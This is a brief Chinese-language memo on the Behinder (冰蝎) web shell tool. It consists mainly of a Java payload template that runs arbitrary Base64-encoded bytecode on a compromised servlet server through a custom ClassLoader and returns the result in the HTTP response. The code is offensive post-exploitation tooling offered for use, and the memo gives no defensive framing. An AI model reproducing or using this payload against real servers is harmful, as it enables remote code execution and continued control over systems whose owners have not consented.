冰蝎备忘录

执行任意Java字节码模板

输出放到toString中。

import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import java.util.Base64;
 
public class Test extends ClassLoader{
 
    private Object Request;
    private Object Response;
    private Object Session;
    private static final String BASE64_CLASS =
            "";
 
    @Override
    public boolean equals(Object obj) {
 
        try {
            fillContext(obj);
            ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
            byte[] classBytes = Base64.getDecoder().decode(BASE64_CLASS);
 
            Class<?> clazz = this.defineClass(classBytes, 0, classBytes.length);
 
 
            Object instance = clazz.getDeclaredConstructor().newInstance();
            so.write(instance.toString().getBytes("UTF-8"));
            so.flush();
            so.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return true;
    }
 
    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);
            this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);
            this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);
        } else {
            Map<String, Object> objMap = (Map<String, Object>) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response,
                "UTF-8");
    }
}